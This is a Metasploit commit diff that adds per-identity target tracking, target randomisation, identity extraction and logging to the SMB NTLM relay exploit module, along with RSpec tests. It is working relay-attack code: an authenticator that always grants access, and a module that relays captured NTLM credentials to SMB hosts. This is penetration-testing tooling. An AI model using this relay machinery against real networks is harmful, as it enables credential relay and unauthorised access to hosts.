Add smarter targetlist support

This commit is contained in:
adfoster-r7
2022-02-25 10:25:40 +00:00
parent 25265c7a7b
commit 144fc5eddf
7 changed files with 396 additions and 91 deletions
@@ -23,7 +23,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
server_client = Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient.new(
self,
RubySMB::Dispatcher::Socket.new(sock),
relay_targets: TargetList.new(@relay_targets),
relay_targets: @relay_targets,
relay_timeout: @relay_timeout,
listener: @listener,
)
@@ -32,7 +32,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
logger.info("starting thread for connection")
server_client.run
rescue => e
print_error "#{e.message}"
logger.print_error "#{e.message}"
elog(e)
end
logger.info("ending thread for connection")
@@ -57,38 +57,4 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
end
end
end
class Target
def initialize(ip, port, protocol)
raise ArgumentError if ip.nil? || port.nil? || protocol.nil?
@ip = ip
@port = port
@protocol = protocol
end
attr_reader :ip, :port, :protocol
end
# A thread safe target list. The provided targets will be iterated over via the {next} method.
class TargetList
include MonitorMixin
# @param [Array<String>] targets
def initialize(targets)
super()
@walker = Rex::Socket::RangeWalker.new(targets)
end
# Return the next available target, or nil
def next
synchronize do
next_ip = @walker.next_ip
return nil if next_ip.nil?
# TODO: Confirm HTTP relay semantics
Target.new(next_ip, 445, :smb)
end
end
end
end
@@ -7,6 +7,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
# The NT Status that will cause a client to reattempt authentication
FORCE_RETRY_SESSION_SETUP = ::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED
# @param [Msf::Exploit::Remote::SMB::Relay::TargetList] relay_targets Relay targets
# @param [Object] listener A listener that can receive on_relay_success/on_relay_failure events
def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
super(server, dispatcher)
@@ -17,25 +19,28 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
end
def do_tree_connect_smb2(request, session)
logger.info("relaying to next target")
logger.print_status("Received request for #{session.metadata[:identity]}")
# Attempt to select the next target to relay to
session.metadata[:relay_target] = @relay_targets.next
session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity])
# If there's no more targets to relay to, just tree connect to the currently running server instead
if session.metadata[:relay_target].nil?
logger.info("All targets relayed to")
logger.print_status("identity: #{session.metadata[:identity]} - All targets relayed to")
return super(request, session)
end
logger.info("Relaying to next target #{session.metadata[:relay_target]}")
logger.print_status("Relaying to next target #{display_target(session.metadata[:relay_target])}")
relayed_connection = create_relay_smb_client(
session.metadata[:relay_target],
@relay_timeout
)
return nil if relayed_connection.nil?
if relayed_connection.nil?
@relay_targets.on_relay_end(target, identity: session.metadata[:identity], is_success: false)
end
session.metadata[:relayed_connection] = relayed_connection
session.metadata[:relay_mode] = true
session.metadata[:relayed_connection] = relayed_connection
session.state = :in_progress
response = RubySMB::SMB2::Packet::TreeConnectResponse.new
@@ -60,8 +65,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
end
# Perform a normal setup flow with ruby_smb
if !session&.metadata[:relay_mode]
unless session&.metadata[:relay_mode]
response = super
session.metadata[:identity] = session.user_id
# TODO: Remove guest flag
return response
end
@@ -138,14 +145,21 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
resp = relayed_connection.send_auth_attempt(incoming_security_buffer)
if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
logger.debug("Successfully authenticated against relay target")
is_success = resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
@relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)
if is_success
logger.print_good("identity: #{session.metadata[:identity]} - Successfully authenticated against relay target #{display_target(relayed_connection.target)}")
session.metadata[:incoming_challenge_response] = ntlm_message
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
session.metadata[:identity] = "#{domain}\\#{user}"
@listener.on_ntlm_type3(
address: relayed_connection.target.ip,
ntlm_type1: session.metadata[:incoming_negotiate_message],
ntlm_type2: session.metadata[:relay_target_server_challenge],
ntlm_type3: ntlm_message
ntlm_type3: session.metadata[:incoming_challenge_response]
)
@listener.on_relay_success(relay_connection: relayed_connection)
else
@@ -153,10 +167,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
relayed_connection.disconnect!
if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
logger.error("Relay failed due to client authentication details not matching any account on target server #{relayed_connection.target.ip}.")
logger.print_warning("identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{display_target(relayed_connection.target)}")
else
error_code = WindowsError::NTStatus.find_by_retval(resp.smb2_header.nt_status.value)
logger.error("Relay against target #{relayed_connection.target.ip} failed with unexpected error:\n#{error_code.name}: #{error_code.description}")
logger.print_warning("identity: #{session.metadata[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{error_code.name}: #{error_code.description}")
end
session.metadata.delete(:relay_mode)
@@ -193,16 +207,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
client
rescue ::Rex::ConnectionTimeout => e
msg = "Timeout error retrieving server challenge from target #{target.ip}:#{target.port}. Most likely caused by unresponsive target."
msg = "Timeout error retrieving server challenge from target #{display_target(target)}. Most likely caused by unresponsive target"
elog(msg, error: e)
print_warning msg
logger.print_error msg
nil
rescue ::Exception => e
msg = "Unable to create relay to #{target.ip}:#{target.port}"
msg = "Unable to create relay to #{display_target(target)}"
elog(msg, error: e)
print_warning msg
logger.print_error msg
nil
end
protected
def display_target(target)
"#{target.protocol}://#{target.ip}:#{target.port}"
end
end
# The SMB Client for interacting with the relayed_target
@@ -291,9 +311,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
# @os_version = extract_os_version(server_type2_message.os_version.to_s) unless server_type2_message.os_version.empty?
end
rescue ::Exception => e
msg = "Unable to retrieve server challenge at #{self.target.ip}:#{self.target.port}"
msg = "Unable to retrieve server challenge at #{display_target(target)}"
elog(msg, error: e)
print_warning msg
logger.print_error msg
nil
end
@@ -326,9 +346,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
response
end
rescue ::Exception => e
msg = "Unable to authenticate to target #{self.target.ip}:#{self.target.port} via relay."
msg = "Unable to authenticate to target #{display_target(target)} via relay"
elog(msg, error: e)
print_warning msg
logger.error msg
end
def normalize_type3_encoding(type3_msg)
@@ -336,5 +356,11 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
end
alias :connect :tree_connect
protected
def display_target(target)
"#{target.protocol}://#{target.ip}:#{target.port}"
end
end
end
@@ -2,11 +2,43 @@ module Msf::Exploit::Remote::SMB::Relay::Provider
# An override for the default RubySMB NTLM Authenticator to always grant access,
# regardless of the provided credentials
class AlwaysGrantAccessAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator
GssResult = Struct.new(:buffer, :nt_status, :identity)
def process_ntlm_type3(type3_msg)
dbg_string = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}"
logger.info("NTLM authentication request overridden to succeed for #{dbg_string}")
# Override the ntlm type3 validation as the current implementation of the
# parent class validates user accounts, and doesn't support logging in without valid creds
::WindowsError::NTStatus::STATUS_SUCCESS
end
# take the GSS blob, extract the NTLM type 3 message and pass it to the process method to build the response
# which is then put back into a new GSS reply-blob
def process_gss_type3(gss_api)
parent_result = super
neg_token_init = Hash[::RubySMB::Gss.asn1dig(gss_api, 0).value.map { |obj| [obj.tag, obj.value[0].value] }]
raw_type3_msg = neg_token_init[2]
type3_msg = Net::NTLM::Message.parse(raw_type3_msg)
if type3_msg.flag & ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE] == ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE]
type3_msg.domain.force_encoding('UTF-16LE')
type3_msg.user.force_encoding('UTF-16LE')
type3_msg.workstation.force_encoding('UTF-16LE')
identity = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}"
else
identity = nil
end
GssResult.new(
parent_result.buffer,
parent_result.nt_status,
# Note: The identity is overridden from the parent implementation
# as the parent class will not @account configuration for arbitrary users. It will now be set as domain\user
identity
)
end
end
#
@@ -0,0 +1,115 @@
require 'rex/socket'
module Msf::Exploit::Remote::SMB::Relay
# A thread safe target list. The provided targets will be iterated over via the {next} method.
class TargetList
include MonitorMixin
# @param [String] targets
def initialize(targets, randomize_targets: true)
super()
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip|
Target.new(
ip: target_ip,
port: 445,
protocol: :smb
)
end
@targets = randomize_targets ? targets.shuffle : targets
end
# Return the next available target, or nil if the identity has been relayed against all targets
# @param [String,nil] identity The identity, i.e. domain/user, if available
# @return [Target,nil] The next target for the given identity with the least amount of relay attempts. Or nil if all targets have been relayed to for that identity
def next(identity)
synchronize do
next_target = next_target_for(identity)
return nil if next_target.nil?
next_target.on_relay_start(identity)
next_target
end
end
# Updates tracking to mark a host as being successfully relayed or not
# @param [Msf::Exploit::Remote::SMB::Relay::Target] target The target that was successfully relayed or not
# @param [String] identity the identity which was used as part of relaying
# @param [TrueClass|FalseClass] is_success True when this identity was successfully relayed to the target, false otherwise
def on_relay_end(target, identity:, is_success:)
synchronize do
target.on_relay_end(identity: identity, is_success: is_success)
end
end
private
# @param [Object] identity The identity that will be used during the relay process
# @return [Enumerator<Object>] All targets that have not yet successfully been relayed to a target based on the given identity
def next_target_for(identity)
# Choose the next target that hasn't been relayed to yet, and has the least retry attempts - in order to try and
# round robin requests to each host
next_target = @targets.select { |target| target.eligible_relay_target?(identity) }
.min_by { |target| target.relay_attempts_for(identity) }
next_target
end
end
class Target
def initialize(ip:, port:, protocol:)
@ip = ip
@port = port
@protocol = protocol
@relay_state = Hash.new do |hash, identity|
hash[identity] = {
relay_status: nil,
relay_attempted_at: nil,
relayed_at: nil,
relay_attempts: 0
}
end
end
attr_reader :ip, :port, :protocol
def eligible_relay_target?(identity)
return true if identity.nil?
relay_data = relay_data_for(identity)
relay_data[:relay_status].nil? || relay_data[:relay_status] == :failed
end
def relay_attempts_for(identity)
relay_data = relay_data_for(identity)
relay_data[:relay_attempts]
end
def on_relay_start(identity)
relay_data = relay_data_for(identity)
relay_data[:relay_attempts] += 1
relay_data[:relay_attempted_at] = Time.now
relay_data[:relay_status] = :attempting
end
def on_relay_end(identity:, is_success:)
relay_data = relay_data_for(identity)
if is_success
relay_data[:relay_status] = :success
relay_data[:relayed_at] = Time.now
else
relay_data[:relay_status] = :failed
end
end
def to_h
{ ip: ip, port: port, protocol: protocol, relay_state: @relay_state }
end
private
def relay_data_for(username)
@relay_state[username]
end
end
end
+2 -2
View File
@@ -35,8 +35,8 @@ module Msf
ntlm_message = ntlm_type3
hash_type = nil
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
challenge = [ntlm_type2.challenge].pack('Q<')
combined_hash = "#{user}::#{domain}"
+99 -33
View File
@@ -130,6 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
@@ -139,33 +140,100 @@ class MetasploitModule < Msf::Exploit::Remote
deregister_options('RPORT', 'RHOSTS', 'SMBPass', 'SMBUser')
end
# Log devices to be used with Ruby's default Logging
module LogDevice
# Logs using the default framework logging mechanism
class Framework
def write(message)
rlog(message)
module RubySmbAdapter
module Logging
# API inherited from ::Rex::Ui::Output, but as it is a class - it can not be included as a mixin
class Logger < ::Logger
def initialize(mod, log_device)
super(log_device)
@mod = mod
end
#
# Prints an error message.
#
def print_error(msg = '')
@mod.print_error(msg)
end
alias print_bad print_error
#
# Prints a 'good' message.
#
def print_good(msg = '')
@mod.print_good(msg)
end
#
# Prints a status line.
#
def print_status(msg = '')
@mod.print_status(msg)
end
#
# Prints an undecorated line of information.
#
def print_line(msg = '')
@mod.print_line(msg)
end
#
# Prints a warning
#
def print_warning(msg = '')
@mod.print_warning(msg)
end
#
# Prints a message with no decoration.
#
def print(msg = '')
@mod.print(msg)
end
end
def close
# noop
# Log devices to be used with Ruby's default Logging
module LogDevice
# Logs using the default framework logging mechanism
class Framework
def initialize(_framework)
# Note that the framework instance is not technically required as {rlog} is global
# it's just an attempt at future proofing the API
# @framework = framework
end
def write(message)
rlog(message)
end
def close
# noop
end
end
# Logs using the provided module
class Module
def initialize(mod)
@mod = mod
end
def write(message)
@mod.print(message)
end
def close
# noop
end
end
end
end
end
# Logs using the provided module
class Module
def initialize(mod)
@mod = mod
end
def write(message)
@mod.print(message)
end
def close
# noop
end
end
def smb_logger
log_device = datastore['VERBOSE'] ? RubySmbAdapter::Logging::LogDevice::Module.new(self) : RubySmbAdapter::Logging::LogDevice::Framework.new(framework)
RubySmbAdapter::Logging::Logger.new(self, log_device)
end
class SMBRelayServer
@@ -223,6 +291,13 @@ class MetasploitModule < Msf::Exploit::Remote
attr_accessor :listener_sock, :listener_thread
def self.sock_options_for(options)
{
'LocalHost' => '0.0.0.0',
'LocalPort' => 445
}.merge(options[:socket])
end
private
def sock_options
@@ -232,13 +307,6 @@ class MetasploitModule < Msf::Exploit::Remote
def smb_server_options(listener_sock)
{ server_sock: listener_sock }.merge(@options[:smb_server])
end
def self.sock_options_for(options)
{
'LocalHost' => '0.0.0.0',
'LocalPort' => 445
}.merge(options[:socket])
end
end
def start_service(_opts = {})
@@ -254,8 +322,6 @@ class MetasploitModule < Msf::Exploit::Remote
validate_smb_hash_capture_datastore(datastore, ntlm_provider)
log_device = datastore['VERBOSE'] ? LogDevice::Module.new(self) : LogDevice::Framework.new
comm = _determine_server_comm(datastore['SRVHOST'])
print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
@service = Rex::ServiceManager.start(
@@ -274,8 +340,8 @@ class MetasploitModule < Msf::Exploit::Remote
},
smb_server: {
gss_provider: ntlm_provider,
logger: ::Logger.new(log_device),
relay_targets: datastore['SMBHOST'],
logger: smb_logger,
relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['SMBHOST'], randomize_targets: datastore['RANDOMIZE_TARGETS']),
listener: self,
relay_timeout: datastore['RELAY_TIMEOUT'],
thread_manager: framework.threads
@@ -0,0 +1,100 @@
require 'rspec'
require 'msf/core/exploit/remote/smb/relay/target_list'
RSpec.describe Msf::Exploit::Remote::SMB::Relay::TargetList do
let(:subject) { described_class.new '192.0.2.1 192.0.2.2 192.0.2.3', randomize_targets: false }
let(:user_one) { 'domain/one' }
let(:user_two) { 'domain/two' }
describe '#next' do
context 'when no targets have successfully been relayed to' do
it 'indefinitely cycles through available targets when there is no identifier provided' do
3.times do
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
end
end
it 'cycles through available targets when there is an identifier provided until all relays are in progress' do
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
# All relay attempts are in progress, don't return a host
expect(subject.next(user_one)).to be_nil
end
end
context 'when targets have successfully been relayed to' do
before(:each) do
first_target = subject.next(user_one)
expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
subject.on_relay_end(first_target, identity: user_one, is_success: true)
end
it 'no longer returns resolved hosts for a previously successfully relayed identity' do
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
# All relay attempts are inflight, don't return a host
expect(subject.next(user_one)).to be_nil
end
it 'returns the next host to target with a nil identity' do
3.times do
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
end
end
it 'returns hosts that have not yet been relayed to for a new identifier' do
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
# All relay attempts are inflight, don't return a host
expect(subject.next(user_two)).to be_nil
end
it 'no returns targets were if they were unsuccessfully relayed to' do
3.times do
second_target = subject.next(user_one)
expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
subject.on_relay_end(second_target, identity: user_one, is_success: false)
third_target = subject.next(user_one)
expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
subject.on_relay_end(third_target, identity: user_one, is_success: false)
end
end
it 'no longer returns a target if all targets were successfully relayed to that identity' do
second_target = subject.next(user_one)
expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
subject.on_relay_end(second_target, identity: user_one, is_success: true)
third_target = subject.next(user_one)
expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
subject.on_relay_end(third_target, identity: user_one, is_success: true)
expect(subject.next(user_one)).to be_nil
end
end
context 'when a target fails being relayed' do
before(:each) do
first_target = subject.next(user_one)
expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
subject.on_relay_end(first_target, identity: user_one, is_success: false)
end
it 'can return the same host for the same identity again in the future' do
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
# The host can be tried again
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
# But the first two hosts are now inflight, and can't be relayed to yet - nil is returned
expect(subject.next(user_one)).to be_nil
end
end
end
end